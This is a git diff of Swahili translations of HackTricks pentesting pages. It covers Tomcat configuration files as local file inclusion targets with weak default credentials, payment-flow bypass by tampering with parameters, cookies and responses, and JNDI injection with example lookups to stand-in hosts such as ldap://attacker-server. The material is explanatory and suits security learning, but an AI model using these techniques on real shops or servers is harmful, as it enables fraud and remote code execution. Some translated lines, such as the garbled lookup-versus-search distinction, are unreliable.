Darasa zote zilizopangwa zinazotumiwa na programu zinapaswa kuhifadhiwa kwenye folda ya `WEB-INF/classes`. Darasa hizi zinaweza kuwa na mantiki muhimu ya biashara pamoja na taarifa nyeti. Upungufu wowote katika faili hizi unaweza kusababisha kuvamiwa kwa jumla kwa tovuti. Folda ya `lib` inahifadhi maktaba zinazohitajika na programu hiyo maalum. Folda ya `jsp` inahifadhi [Kurasa za Seva za Jakarta (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), hapo awali inayojulikana kama `JavaServer Pages`, ambayo inaweza kulinganishwa na faili za PHP kwenye seva ya Apache.
|
||||||
|
|
||||||
Hapa kuna mfano wa faili ya **web.xml**.
|
Hapa kuna mfano wa faili ya **web.xml**.
|
||||||
```xml
|
```xml
|
||||||
|
@ -86,15 +94,15 @@ Hapa kuna mfano wa faili ya **web.xml**.
|
||||||
</servlet-mapping>
|
</servlet-mapping>
|
||||||
</web-app>
|
</web-app>
|
||||||
```
|
```
|
||||||
Konfigurisheni ya `web.xml` hapo juu inadefini **servlet mpya inayoitwa `AdminServlet`** ambayo imepangwa kwa **darasa `com.inlanefreight.api.AdminServlet`**. Java hutumia maelezo ya nukta kuunda majina ya pakiti, maana njia kwenye diski kwa darasa lililofafanuliwa hapo juu itakuwa:
|
Konfigurisheni ya `web.xml` hapo juu inadefini **servlet mpya inayoitwa `AdminServlet`** ambayo imepangiliwa kwa **darasa `com.inlanefreight.api.AdminServlet`**. Java hutumia notesheni ya mshale kuunda majina ya pakiti, maana njia kwenye diski kwa darasa lililofafanuliwa hapo juu itakuwa:
|
||||||
|
|
||||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||||
|
|
||||||
Kisha, pambizo mpya la servlet inaundwa ili **kupanga maombi kwa `/admin` na `AdminServlet`**. Usanidi huu utapeleka ombi lolote lililopokelewa kwa **`/admin` kwa darasa la `AdminServlet.class`** kwa usindikaji. Mwambaa wa **`web.xml`** una taarifa nyingi **nyeti** na ni faili muhimu ya kuangalia unapotumia udhaifu wa **Ufichuaji wa Faili za Ndani (LFI)**.
|
Kisha, kielekezi kipya cha servlet kinajengwa ili **kupanga maombi kwa `/admin` na `AdminServlet`**. Usanidi huu utapeleka ombi lolote lililopokelewa kwa **`/admin` kwa darasa la `AdminServlet.class`** kwa usindikaji. Mwambaa wa **`web.xml`** una taarifa nyingi **nyeti** na ni faili muhimu ya kuangalia unapotumia udhaifu wa **Uvuvi wa Faili ya Ndani (LFI)**.
|
||||||
|
|
||||||
### tomcat-users
|
### watumiaji wa tomcat
|
||||||
|
|
||||||
Faili ya **`tomcat-users.xml`** hutumiwa ku **ruhusu** au kukataa ufikiaji wa kurasa za admin za **`/manager` na `host-manager`**.
|
Faili ya **`tomcat-users.xml`** hutumiwa ku **ruhusu** au kupiga marufuku upatikanaji wa kurasa za admin za **`/manager` na `host-manager`**.
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
|
@ -135,20 +143,26 @@ will also need to set the passwords to something appropriate.
|
||||||
|
|
||||||
</tomcat-users>
|
</tomcat-users>
|
||||||
```
|
```
|
||||||
Faili linaonyesha ni nini kila moja ya majukumu `manager-gui`, `manager-script`, `manager-jmx`, na `manager-status` hutoa ufikiaji. Katika mfano huu, tunaweza kuona kwamba mtumiaji `tomcat` na nenosiri `tomcat` ana jukumu la `manager-gui`, na nenosiri dhaifu la pili `admin` limewekwa kwa akaunti ya mtumiaji `admin`
|
Faili linaonyesha ni nini kila jukumu la `manager-gui`, `manager-script`, `manager-jmx`, na `manager-status` hutoa ufikiaji. Katika mfano huu, tunaweza kuona kwamba mtumiaji `tomcat` na nenosiri `tomcat` ana jukumu la `manager-gui`, na nenosiri dhaifu la pili `admin` limewekwa kwa akaunti ya mtumiaji `admin`
|
||||||
|
|
||||||
## Marejeo
|
## Marejeo
|
||||||
|
|
||||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,41 +6,68 @@
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
## Mbinu za Kupita Mchakato wa Malipo
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## Mbinu za Kupita Malipo
|
||||||
|
|
||||||
### Udukuzi wa Ombi
|
### Udukuzi wa Ombi
|
||||||
Wakati wa mchakato wa shughuli, ni muhimu kufuatilia data inayobadilishwa kati ya mteja na seva. Hii inaweza kufanywa kwa kudukua maombi yote. Ndani ya maombi haya, angalia vigezo vyenye athari kubwa, kama vile:
|
Wakati wa mchakato wa shughuli, ni muhimu kufuatilia data inayobadilishwa kati ya mteja na seva. Hii inaweza kufanywa kwa kudukua maombi yote. Ndani ya maombi haya, angalia vigezo vyenye athari kubwa, kama vile:
|
||||||
|
|
||||||
- **Mafanikio**: Kigezo hiki mara nyingi huonyesha hali ya shughuli.
|
- **Mafanikio**: Kigezo hiki mara nyingi huonyesha hali ya shughuli.
|
||||||
- **Mwambaa**: Inaweza kuashiria chanzo ambacho ombi lilianzia.
|
- **Referrer**: Inaweza kuelekeza chanzo ambacho ombi lilitokea.
|
||||||
- **Kurudi kwa Wito**: Kawaida hutumiwa kwa kumwongoza mtumiaji baada ya shughuli kukamilika.
|
- **Kurudi kwa Wito**: Kawaida hutumiwa kwa kumrudisha mtumiaji baada ya shughuli kukamilika.
|
||||||
|
|
||||||
### Uchambuzi wa URL
|
### Uchambuzi wa URL
|
||||||
Ikiwa unakutana na kigezo kinachojumuisha URL, hasa moja inayofuata muundo _mfano.com/malipo/MD5HASH_, inahitaji uchunguzi wa karibu. Hapa kuna njia ya hatua kwa hatua:
|
Ikiwa unakutana na kigezo kinachojumuisha URL, hasa moja inayofuata muundo wa _mfano.com/malipo/MD5HASH_, inahitaji uchunguzi wa karibu. Hapa kuna njia ya hatua kwa hatua:
|
||||||
|
|
||||||
1. **Nakili URL**: Chukua URL kutoka kwa thamani ya kigezo.
|
1. **Nakili URL**: Chukua URL kutoka kwa thamani ya kigezo.
|
||||||
2. **Uchunguzi wa Dirisha Jipya**: Fungua URL iliyonakiliwa kwenye dirisha jipya la kivinjari. Hatua hii ni muhimu kwa kuelewa matokeo ya shughuli.
|
2. **Uchunguzi wa Dirisha Jipya**: Fungua URL iliyonakiliwa kwenye dirisha jipya la kivinjari. Hatua hii ni muhimu kwa kuelewa matokeo ya shughuli.
|
||||||
|
|
||||||
### Ubadilishaji wa Vigezo
|
### Ubadilishaji wa Vigezo
|
||||||
1. **Badilisha Thamani za Kigezo**: Jaribu kwa kubadilisha thamani za vigezo kama _Mafanikio_, _Mwambaa_, au _Kurudi kwa Wito_. Kwa mfano, kubadilisha kigezo kutoka `uwongo` hadi `kweli` mara nyingi inaweza kufunua jinsi mfumo unavyoshughulikia matokeo haya.
|
1. **Badilisha Thamani za Vigezo**: Jaribu kubadilisha thamani za vigezo kama _Mafanikio_, _Referrer_, au _Kurudi kwa Wito_. Kwa mfano, kubadilisha kigezo kutoka `uwongo` hadi `kweli` mara nyingine inaweza kufunua jinsi mfumo unavyoshughulikia matokeo haya.
|
||||||
2. **Ondoa Vigezo**: Jaribu kuondoa baadhi ya vigezo kabisa kuona jinsi mfumo unavyojibu. Baadhi ya mifumo inaweza kuwa na mbadala au tabia za msingi wakati vigezo vinavyotarajiwa havipo.
|
2. **Ondoa Vigezo**: Jaribu kuondoa baadhi ya vigezo kabisa kuona jinsi mfumo unavyojibu. Baadhi ya mifumo inaweza kuwa na mifumo mbadala au tabia za msingi wakati vigezo vinavyotarajiwa havipo.
|
||||||
|
|
||||||
### Udukuzi wa Kuki
|
### Udukuzi wa Kuki
|
||||||
1. **Chunguza Kuki**: Tovuti nyingi huhifadhi habari muhimu kwenye kuki. Angalia kuki hizi kwa data yoyote inayohusiana na hali ya malipo au uthibitishaji wa mtumiaji.
|
1. **Angalia Kuki**: Tovuti nyingi huhifadhi habari muhimu kwenye kuki. Angalia kuki hizi kwa data yoyote inayohusiana na hali ya malipo au uthibitishaji wa mtumiaji.
|
||||||
2. **Badilisha Thamani za Kuki**: Badilisha thamani zilizohifadhiwa kwenye kuki na uangalie jinsi jibu au tabia ya tovuti inavyobadilika.
|
2. **Badilisha Thamani za Kuki**: Badilisha thamani zilizohifadhiwa kwenye kuki na uone jinsi jibu au tabia ya tovuti inavyobadilika.
|
||||||
|
|
||||||
### Utekapu wa Kikao
|
### Utekapu wa Kikao
|
||||||
1. **Vidakuzi vya Kikao**: Ikiwa vitambulisho vya kikao vinatumika katika mchakato wa malipo, jaribu kuviteka na kuvibadilisha. Hii inaweza kutoa ufahamu wa mapungufu katika usimamizi wa kikao.
|
1. **Vidakuzi vya Kikao**: Ikiwa vitambulisho vya kikao vinatumika katika mchakato wa malipo, jaribu kuviteka na kuvibadilisha. Hii inaweza kutoa ufahamu wa mapungufu katika usimamizi wa kikao.
|
||||||
|
|
||||||
### Ubadilishaji wa Jibu
|
### Ubadilishaji wa Majibu
|
||||||
1. **Dukua Majibu**: Tumia zana kudukua na kuchambua majibu kutoka kwa seva. Tafuta data yoyote inayoweza kuashiria shughuli iliyofanikiwa au kufunua hatua inayofuata katika mchakato wa malipo.
|
1. **Dukua Majibu**: Tumia zana kudukua na kuchambua majibu kutoka kwa seva. Tafuta data yoyote inayoweza kuashiria shughuli iliyofanikiwa au kufunua hatua inayofuata katika mchakato wa malipo.
|
||||||
2. **Badilisha Majibu**: Jaribu kubadilisha majibu kabla ya kusindika na kivinjari au programu ili kusimuliza hali ya shughuli iliyofanikiwa.
|
2. **Badilisha Majibu**: Jaribu kubadilisha majibu kabla ya kusindika na kivinjari au programu ili kusimuliza hali ya shughuli iliyofanikiwa.
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -6,32 +6,40 @@
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Taarifa Msingi
|
## Taarifa Msingi
|
||||||
|
|
||||||
JNDI, iliyoundwa katika Java tangu miaka ya 1990, hutumika kama huduma ya saraka, ikiruhusu programu za Java kupata data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za saraka kupitia interface za watoa huduma (SPIs), kuruhusu kupata data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vya mbali. SPIs za kawaida ni pamoja na CORBA COS, Usajili wa Java RMI, na LDAP.
|
JNDI, iliyoundwa katika Java tangu miaka ya 1990, hutumika kama huduma ya saraka, ikiruhusu programu za Java kupata data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za saraka kupitia interfaces za watoa huduma (SPIs), kuruhusu kupata data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vilivyoko mbali. SPIs za kawaida ni pamoja na CORBA COS, Usajili wa Java RMI, na LDAP.
|
||||||
|
|
||||||
### Kumbukumbu ya Majina ya JNDI
|
### Kumbukumbu ya Jina la JNDI
|
||||||
|
|
||||||
Vitu vya Java vinaweza kuhifadhiwa na kupatikana kwa kutumia Marejeleo ya Majina ya JNDI, ambayo huja katika aina mbili:
|
Vitu vya Java vinaweza kuhifadhiwa na kupatikana kwa kutumia Marejeleo ya Majina ya JNDI, ambayo huja katika aina mbili:
|
||||||
|
|
||||||
* **Anwani za Marejeleo**: Inabainisha eneo la kipengee (k.m., _rmi://server/ref_), kuruhusu kupata moja kwa moja kutoka kwa anwani iliyobainishwa.
|
* **Anwani za Marejeleo**: Inabainisha eneo la kipengee (k.m., _rmi://server/ref_), kuruhusu kupata moja kwa moja kutoka kwa anwani iliyobainishwa.
|
||||||
* **Kiwanda cha Mbali**: Kinarejelea darasa la kiwanda cha mbali. Inapofikiwa, darasa hilo linapakuliwa na kuanzishwa kutoka eneo la mbali.
|
* **Kiwanda cha Mbali**: Kinarejelea darasa la kiwanda cha mbali. Inapofikiwa, darasa hilo linapakuliwa na kuanzishwa kutoka eneo la mbali.
|
||||||
|
|
||||||
Hata hivyo, mfumo huu unaweza kutumiwa vibaya, ikisababisha kupakia na kutekeleza kanuni za aina yoyote. Kama kinga:
|
Hata hivyo, mfumo huu unaweza kutumiwa vibaya, ikisababisha upakiaji na utekelezaji wa nambari ya aina yoyote. Kama kinga:
|
||||||
|
|
||||||
* **RMI**: `java.rmi.server.useCodeabseOnly = true` kwa chaguo-msingi kutoka JDK 7u21, ikizuia kupakia vitu vya mbali. Meneja wa Usalama anazuia zaidi ni nini kinaweza kupakiwa.
|
* **RMI**: `java.rmi.server.useCodeabseOnly = true` kwa chaguo-msingi kutoka JDK 7u21, ikizuia upakiaji wa vitu vya mbali. Meneja wa Usalama anazuia zaidi nini kinaweza kupakiwa.
|
||||||
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa chaguo-msingi kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwekwa kama `kweli`, utekelezaji wa kanuni za mbali unawezekana bila usimamizi wa Meneja wa Usalama.
|
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` kwa chaguo-msingi kutoka JDK 6u141, 7u131, 8u121, ikizuia utekelezaji wa vitu vya Java vilivyopakiwa kwa mbali. Ikiwekwa kama `kweli`, utekelezaji wa nambari ya mbali unawezekana bila usimamizi wa Meneja wa Usalama.
|
||||||
* **CORBA**: Haina mali maalum, lakini Meneja wa Usalama daima yuko hai.
|
* **CORBA**: Haina mali maalum, lakini Meneja wa Usalama daima yuko hai.
|
||||||
|
|
||||||
Hata hivyo, **Meneja wa Majina**, anayehusika na kutatua viungo vya JNDI, hana mifumo ya usalama iliyojengwa ndani, ikiruhusu kupata vitu kutoka vyanzo vyovyote. Hii inaleta hatari kwani kinga za RMI, LDAP, na CORBA zinaweza kudanganywa, ikisababisha kupakia vitu vya Java visivyo na mpangilio au kutumia vipengee vilivyopo vya programu (gadgets) kutekeleza kanuni mbaya.
|
Hata hivyo, **Meneja wa Majina**, anayehusika na kutatua viungo vya JNDI, hana mifumo ya usalama iliyojengwa ndani, ikiruhusu upatikanaji wa vitu kutoka vyanzo vyovyote. Hii inaleta hatari kwani kinga za RMI, LDAP, na CORBA zinaweza kudanganywa, ikisababisha upakiaji wa vitu vya Java visivyohusika au kutumia vipengele vya programu vilivyopo (gadgets) kutekeleza nambari yenye nia mbaya.
|
||||||
|
|
||||||
Mifano ya URL zinazoweza kutumiwa vibaya ni pamoja na:
|
Mifano ya URL zinazoweza kutumiwa vibaya ni pamoja na:
|
||||||
|
|
||||||
|
@ -39,13 +47,13 @@ Mifano ya URL zinazoweza kutumiwa vibaya ni pamoja na:
|
||||||
* _ldap://attacker-server/bar_
|
* _ldap://attacker-server/bar_
|
||||||
* _iiop://attacker-server/bar_
|
* _iiop://attacker-server/bar_
|
||||||
|
|
||||||
Licha ya kinga, mapungufu yanaendelea, hasa kutokana na ukosefu wa ulinzi dhidi ya kupakia JNDI kutoka kwa vyanzo visivyoaminika na uwezekano wa kuzidi kinga zilizopo.
|
Licha ya kinga, mapungufu bado yapo, hasa kutokana na ukosefu wa ulinzi dhidi ya kupakia JNDI kutoka kwa vyanzo visivyoaminika na uwezekano wa kuzidi kinga zilizopo.
|
||||||
|
|
||||||
### Mfano wa JNDI
|
### Mfano wa JNDI
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (655) (1) (1).png>)
|
![](<../../.gitbook/assets/image (655) (1) (1).png>)
|
||||||
|
|
||||||
Hata kama umeweka **`PROVIDER_URL`**, unaweza kuelekeza kwenye moja tofauti katika utafutaji na itafikiwa: `ctx.lookup("<attacker-controlled-url>")` na hicho ndicho ambacho muhusika atatumia kudukua kupakia vitu vya aina yoyote kutoka kwa mfumo anaodhibiti.
|
Hata kama umeweka **`PROVIDER_URL`**, unaweza kuelekeza kwenye moja tofauti katika utafutaji na itafikiwa: `ctx.lookup("<url-inayodhibitiwa-na-mshambuliaji>")` na hicho ndicho mshambuliaji atakachotumia kudai vitu visivyohusika kutoka kwa mfumo anaodhibiti.
|
||||||
|
|
||||||
### Muhtasari wa CORBA
|
### Muhtasari wa CORBA
|
||||||
|
|
||||||
|
@ -54,29 +62,29 @@ CORBA (Muundo wa Mfumo wa Ombi la Vitu vya Kawaida) hutumia **Kumbukumbu ya Vitu
|
||||||
* **Kitambulisho cha Aina**: Kitambulisho kipekee cha kiolesura.
|
* **Kitambulisho cha Aina**: Kitambulisho kipekee cha kiolesura.
|
||||||
* **Codebase**: URL ya kupata darasa la stub.
|
* **Codebase**: URL ya kupata darasa la stub.
|
||||||
|
|
||||||
Kwa kuzingatia, CORBA haiko hatarini kwa asili. Kuhakikisha usalama kawaida kunahusisha:
|
Kwa kuzingatia, CORBA haiko hatarini kwa asili. Kuhakikisha usalama kawaida hujumuisha:
|
||||||
|
|
||||||
* Usanidi wa **Meneja wa Usalama**.
|
* Usanidi wa **Meneja wa Usalama**.
|
||||||
* Kuweka Meneja wa Usalama kuruhusu uunganisho kwa vituo vya kanuni vinavyoweza kuwa na nia mbaya. Hii inaweza kufikiwa kupitia:
|
* Kuweka Meneja wa Usalama kuruhusu uunganisho kwenye vituo vya nambari za mbaya. Hii inaweza kufikiwa kupitia:
|
||||||
* Ruhusa ya Soketi, k.m., `ruhusa java.net.SocketPermission "*:1098-1099", "unganishi";`.
|
* Ruhusa ya Soketi, k.m., `ruhusa java.net.SocketPermission "*:1098-1099", "unganishi";`.
|
||||||
* Ruhusa ya kusoma faili, iwe kwa ujumla (`ruhusa java.io.FilePermission "<<FAILI ZOTE>>", "soma";`) au kwa saraka maalum ambapo faili zenye nia mbaya zinaweza kuwekwa.
|
* Ruhusa ya kusoma faili, iwe kwa ujumla (`ruhusa java.io.FilePermission "<<FAILI ZOTE>>", "soma";`) au kwa saraka maalum ambapo faili za mbaya zinaweza kuwekwa.
|
||||||
|
|
||||||
Hata hivyo, sera za baadhi ya wauzaji zinaweza kuwa nyororo na kuruhusu uunganisho huu kwa chaguo-msingi.
|
Hata hivyo, sera za baadhi ya wauzaji zinaweza kuwa nyepesi na kuruhusu uunganisho huu kwa chaguo-msingi.
|
||||||
|
|
||||||
### Muktadha wa RMI
|
### Muktadha wa RMI
|
||||||
|
|
||||||
Kwa RMI (Mwito wa Mbali wa Njia), hali ni tofauti kidogo. Kama ilivyo na CORBA, kupakua darasa la aina yoyote kwa kawaida kunazuiliwa kwa chaguo-msingi. Kudukua RMI, mtu kawaida atahitaji kuzidi Meneja wa Usalama, jambo muhimu pia katika CORBA.
|
Kwa RMI (Mwito wa Mbali wa Njia), hali ni tofauti kidogo. Kama ilivyo na CORBA, upakiaji wa darasa usiohusika kwa chaguo-msingi umepunguzwa. Kudukua RMI, mtu kawaida atahitaji kuzidi Meneja wa Usalama, jambo muhimu pia katika CORBA.
|
||||||
|
|
||||||
### LDAP
|
### LDAP
|
||||||
|
|
||||||
Kwanza kabisa, tunahitaji kutofautisha kati ya Utafutaji na Uangaliaji.\
|
Kwanza kabisa, tunahitaji kutofautisha kati ya Utafutaji na Utafutaji.\
|
||||||
**Utafutaji** utatumia URL kama `ldap://localhost:389/o=JNDITutorial` kutafuta kipengee cha JNDITutorial kutoka kwa seva ya LDAP na **kupata sifa zake**.\
|
**Utafutaji** utatumia URL kama `ldap://localhost:389/o=JNDITutorial` kutafuta kipengee cha JNDITutorial kutoka kwa seva ya LDAP na **kupata sifa zake**.\
|
||||||
**Uangaliaji** unalenga **huduma za majina** kwani tunataka kupata **chochote kilichofungwa kwa jina**.
|
**Utafutaji** unalenga **huduma za majina** kwani tunataka kupata **chochote kilichofungwa kwa jina**.
|
||||||
|
|
||||||
Ikiwa utafutaji wa LDAP uliitwa na **SearchControls.setReturningObjFlag() na `kweli`, kipengee kilichorudiwa kitajengwa upya**.
|
Ikiwa utafutaji wa LDAP uliitwa na **SearchControls.setReturningObjFlag() na `kweli`, kipengee kilichorudiwa kitajengwa upya**.
|
||||||
|
|
||||||
Kwa hivyo, kuna njia kadhaa za kushambulia chaguzi hizi.\
|
Kwa hivyo, kuna njia kadhaa za kushambulia chaguzi hizi.\
|
||||||
